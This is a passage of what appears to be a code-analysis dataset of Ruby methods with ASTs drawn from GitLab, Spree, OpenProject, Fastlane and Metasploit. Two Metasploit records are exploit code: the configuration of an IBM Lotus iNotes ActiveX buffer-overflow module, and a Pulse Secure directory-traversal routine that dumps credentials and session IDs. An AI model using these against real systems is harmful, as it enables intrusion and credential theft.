{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/product_properties/find_available.rb","start_line":11,"raw_source":"def execute\n        find_available(scope, products_scope).includes(:translations)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_available\",{\"type\":\"send\",\"children\":[null,\"scope\"]},{\"type\":\"send\",\"children\":[null,\"products_scope\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"translations\"]}]}]}","id":"e38632e8-b93b-483a-a848-a0e99d9dcb2e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/merge_request_presenter.rb","start_line":249,"raw_source":"def jenkins_integration_active\n    project.jenkins_integration_active?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"jenkins_integration_active\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"jenkins_integration_active?\"]}]}","id":"b4303d14-a6e1-410a-86dc-3a6dd1b46eed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/snippets/repository_validation_service.rb","start_line":55,"raw_source":"def check_file_count!\n      file_count = repository.ls_files(snippet.default_branch).size\n      limit = Snippet.max_file_limit\n\n      if file_count > limit\n        raise RepositoryValidationError, _('Repository files count over the limit')\n      end\n\n      if file_count == 0\n        raise RepositoryValidationError, _('Repository must contain at least 1 file.')\n      end\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_file_count!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"ls_files\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"snippet\"]},\"default_branch\"]}]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snippet\"]},\"max_file_limit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_count\"]},\">\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RepositoryValidationError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Repository files count over the limit\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RepositoryValidationError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Repository must contain at least 1 file.\"]}]}]},null]}]}]}","id":"87c7a65d-32bf-482c-96f5-98d53343933f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_label.rb","start_line":34,"raw_source":"def title_must_not_exist_at_group_level\n    return unless group.present? && title_changed?\n\n    if group.labels.with_title(self.title).exists?\n      errors.add(:title, :label_already_exists_at_group_level, group: group.name)\n    end\n  end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"title_must_not_exist_at_group_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"title_changed?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"labels\"]},\"with_title\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"title\"]}]},\"exists?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"label_already_exists_at_group_level\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"name\"]}]}]}]},null]}]}]}","id":"dc77e77e-cbd8-4567-b49f-520fe789e3b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/graphql_controller.rb","start_line":216,"raw_source":"def set_user_last_activity\n    return unless current_user\n\n    # TODO: add namespace & project - https://gitlab.com/gitlab-org/gitlab/-/issues/387951\n    Users::ActivityService.new(author: current_user).execute\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user_last_activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"ActivityService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},\"execute\"]}]}]}","id":"51d2bb2e-ff6c-47e7-9be6-926e8f03dedd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/inotes_dwa85w_bof.rb","start_line":24,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"IBM Lotus iNotes dwa85W ActiveX Buffer Overflow\",\n        'Description' => %q{\n          This module exploits a buffer overflow vulnerability on the UploadControl\n          ActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n          property, due to the insecure usage of the _swscanf. The affected ActiveX is\n          provided by the dwa85W.dll installed with the IBM Lotus iNotes ActiveX installer.\n\n          This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n          using the dwa85W.dll 85.3.3.0 as installed with Lotus Domino 8.5.3.\n\n          In order to bypass ASLR the no aslr compatible module dwabho.dll is used. This one\n          is installed with the iNotes ActiveX.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Gaurav Baruah', # Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2012-2175'],\n          [ 'OSVDB', '82755' ],\n          [ 'BID', '53879' ],\n          [ 'ZDI', '12-132' ],\n          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21596862' ]\n        ],\n        'Payload' => {\n          'Space' => 978,\n          'DisableNops' => true,\n          'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n        },\n        'DefaultOptions' => {\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # dwa85W.dll 85.3.3.0\n          [ 'Automatic', {} ],\n          [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],\n          [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],\n          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Ret' => 0x77C34FBF } ], # pop esp # ret # msvcrt.dll\n          [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],\n          [ 'IE 8 on Windows Vista', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll\n          [ 'IE 8 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5f4', 'Ret' => 0x1000f765 } ], # pop eax # ret # dwabho.dll\n          [ 'IE 9 on Windows 7', { 'Rop' => :notes, 'Offset' => '0x5fe', 'Ret' => 0x1000f765 } ]  # pop eax # ret # dwabho.dll\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-06-01',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n      ]\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable JavaScript obfuscation\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"d012d0ce-760c-4234-ad04-1dcec49eb3d3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/pulse_secure_file_disclosure.rb","start_line":89,"raw_source":"def run\n    files =\n      case action.name\n      when 'Automatic'\n        print_status('Running in automatic mode')\n\n        # Order by most sensitive first\n        [\n          plaintext_creds,\n          session_ids,\n          hashed_creds\n        ]\n      when 'Manual'\n        print_status('Running in manual mode')\n\n        # /etc/passwd by default\n        [the_chosen_one]\n      end\n\n    files.each do |path, info|\n      print_status(\"Dumping #{path}\")\n\n      res = send_request_cgi(\n        'method' => 'GET',\n        'uri' => dir_traversal(path),\n        'partial' => true # Allow partial response due to timeout\n      )\n\n      unless res\n        fail_with(Failure::Unreachable, \"Could not dump #{path}\")\n      end\n\n      handle_response(res, path, info)\n    end\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Running in automatic mode\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plaintext_creds\"]},{\"type\":\"send\",\"children\":[null,\"session_ids\"]},{\"type\":\"send\",\"children\":[null,\"hashed_creds\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Manual\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Running in manual mode\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"the_chosen_one\"]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Dumping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"dir_traversal\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"partial\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not dump \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]}]}","id":"00162e06-a3bc-48ee-8c7c-b0cf269f34c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/debian/file_entry.rb","start_line":33,"raw_source":"def valid_package_file_digests\n        DIGESTS.each do |digest|\n          package_file_digest = package_file[\"file_#{digest}\"]\n          sum = public_send(\"#{digest}sum\") # rubocop:disable GitlabSecurity/PublicSend\n          next if package_file_digest == sum\n\n          errors.add(:\"#{digest}sum\", \"mismatch for #{filename}: #{package_file_digest} != #{sum}\")\n        end\n      end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_package_file_digests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DIGESTS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"digest\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_file_digest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_file\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"file_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digest\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sum\",{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digest\"]}]},{\"type\":\"str\",\"children\":[\"sum\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file_digest\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"sum\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digest\"]}]},{\"type\":\"str\",\"children\":[\"sum\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mismatch for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filename\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_file_digest\"]}]},{\"type\":\"str\",\"children\":[\" != \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sum\"]}]}]}]}]}]}]}","id":"fc732d5d-ff45-409f-987b-94bdacd13bed"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/activities_tab/paginator.rb","start_line":125,"raw_source":"def fetch_journals\n    API::V3::Activities::ActivityEagerLoadingWrapper.wrap(fetch_ar_journals)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_journals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"V3\"]},\"Activities\"]},\"ActivityEagerLoadingWrapper\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"fetch_ar_journals\"]}]}]}","id":"4ad98356-bae3-431f-9934-e1946fa43fc5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":241,"raw_source":"def ensure_personal_project_owner_membership(project)\n      # In case of personal projects, we want to make sure that\n      # a membership record with `OWNER` access level exists for the owner of the namespace.\n      return unless project.personal?\n\n      namespace_owner = project.namespace.owner\n      existing_membership_record = project.member(namespace_owner)\n\n      return if existing_membership_record.present? && existing_membership_record.access_level == Gitlab::Access::OWNER\n\n      project.add_owner(namespace_owner)\n    end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_personal_project_owner_membership\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"personal?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace_owner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"namespace\"]},\"owner\"]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_membership_record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"member\",{\"type\":\"lvar\",\"children\":[\"namespace_owner\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_membership_record\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_membership_record\"]},\"access_level\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"OWNER\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"add_owner\",{\"type\":\"lvar\",\"children\":[\"namespace_owner\"]}]}]}]}","id":"7cd68293-a7a0-4960-96f6-13ad50d75f36"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/web.rb","start_line":31,"raw_source":"def checked?(id)\n      parent.checklist.include? \"#{shortname}#{id}\".hash\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"checked?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"checklist\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shortname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"hash\"]}]}]}","id":"721e5dff-6f72-464d-86f4-a83cfcdb35e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/wp/attributes.rb","start_line":103,"raw_source":"def write_attributes_group(group, work_package)\n    write_group_title(group)\n    group_parts = group_attributes_group_parts(group, work_package)\n    group_parts.each do |part|\n      if part[:type] == :attribute\n        write_attributes_group_table(part[:list], work_package)\n      else\n        part[:list].each do |cf|\n          write_long_text_field!(work_package, cf.id)\n        end\n      end\n    end\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"write_attributes_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"write_group_title\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"lvasgn\",\"children\":[\"group_parts\",{\"type\":\"send\",\"children\":[null,\"group_attributes_group_parts\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_parts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"write_attributes_group_table\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"list\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cf\"]}]},{\"type\":\"send\",\"children\":[null,\"write_long_text_field!\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cf\"]},\"id\"]}]}]}]}]}]}]}","id":"2a7f9926-1fbd-44db-9a74-fea171c3ca90"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/workhorse_helper.rb","start_line":26,"raw_source":"def send_git_patch(repository, diff_refs)\n    headers.store(*Gitlab::Workhorse.send_git_patch(repository, diff_refs))\n    headers['Content-Disposition'] = 'inline'\n    head :ok\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_git_patch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"diff_refs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"store\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Workhorse\"]},\"send_git_patch\",{\"type\":\"lvar\",\"children\":[\"repository\"]},{\"type\":\"lvar\",\"children\":[\"diff_refs\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Disposition\"]},{\"type\":\"str\",\"children\":[\"inline\"]}]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"b480d1af-e495-4004-a98b-48ef787c0d45"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/register_device.rb","start_line":46,"raw_source":"def self.available_options\n        user = CredentialsManager::AppfileConfig.try_fetch_value(:apple_dev_portal_id)\n        user ||= CredentialsManager::AppfileConfig.try_fetch_value(:apple_id)\n        platform = Actions.lane_context[Actions::SharedValues::PLATFORM_NAME].to_s\n\n        [\n          FastlaneCore::ConfigItem.new(key: :name,\n                                       env_name: \"FL_REGISTER_DEVICE_NAME\",\n                                       description: \"Provide the name of the device to register as\"),\n          FastlaneCore::ConfigItem.new(key: :platform,\n                                       env_name: \"FL_REGISTER_DEVICE_PLATFORM\",\n                                       description: \"Provide the platform of the device to register as (ios, mac)\",\n                                       optional: true,\n                                       default_value: platform.empty? ? \"ios\" : platform,\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"The platform can only be ios or mac\") unless %w(ios mac).include?(value)\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :udid,\n                                       env_name: \"FL_REGISTER_DEVICE_UDID\",\n                                       description: \"Provide the UDID of the device to register as\"),\n          FastlaneCore::ConfigItem.new(key: :api_key_path,\n                                       env_names: [\"FL_REGISTER_DEVICE_API_KEY_PATH\", \"APP_STORE_CONNECT_API_KEY_PATH\"],\n                                       description: \"Path to your App Store Connect API Key JSON file (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-json-file)\",\n                                       optional: true,\n                                       conflicting_options: [:api_key],\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Couldn't find API key JSON file at path '#{value}'\") unless File.exist?(value)\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :api_key,\n                                       env_names: [\"FL_REGISTER_DEVICE_API_KEY\", \"APP_STORE_CONNECT_API_KEY\"],\n                                       description: \"Your App Store Connect API Key information (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-hash-option)\",\n                                       type: Hash,\n                                       default_value: Fastlane::Actions.lane_context[Fastlane::Actions::SharedValues::APP_STORE_CONNECT_API_KEY],\n                                       default_value_dynamic: true,\n                                       optional: true,\n                                       sensitive: true,\n                                       conflicting_options: [:api_key_path]),\n          FastlaneCore::ConfigItem.new(key: :team_id,\n                                     env_name: \"REGISTER_DEVICE_TEAM_ID\",\n                                     code_gen_sensitive: true,\n                                     default_value: CredentialsManager::AppfileConfig.try_fetch_value(:team_id),\n                                       default_value_dynamic: true,\n                                     description: \"The ID of your Developer Portal team if you're in multiple teams\",\n                                     optional: true,\n                                     verify_block: proc do |value|\n                                       ENV[\"FASTLANE_TEAM_ID\"] = value.to_s\n                                     end),\n          FastlaneCore::ConfigItem.new(key: :team_name,\n                                       env_name: \"REGISTER_DEVICE_TEAM_NAME\",\n                                       description: \"The name of your Developer Portal team if you're in multiple teams\",\n                                       optional: true,\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:team_name),\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         ENV[\"FASTLANE_TEAM_NAME\"] = value.to_s\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :username,\n                                       env_name: \"DELIVER_USER\",\n                                       description: \"Optional: Your Apple ID\",\n                                       optional: true,\n                                       default_value: user,\n                                       default_value_dynamic: true)\n        ]\n      end","complexity_score":46.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"apple_dev_portal_id\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"apple_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"platform\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"SharedValues\"]},\"PLATFORM_NAME\"]}]},\"to_s\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_REGISTER_DEVICE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Provide the name of the device to register as\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_REGISTER_DEVICE_PLATFORM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Provide the platform of the device to register as (ios, 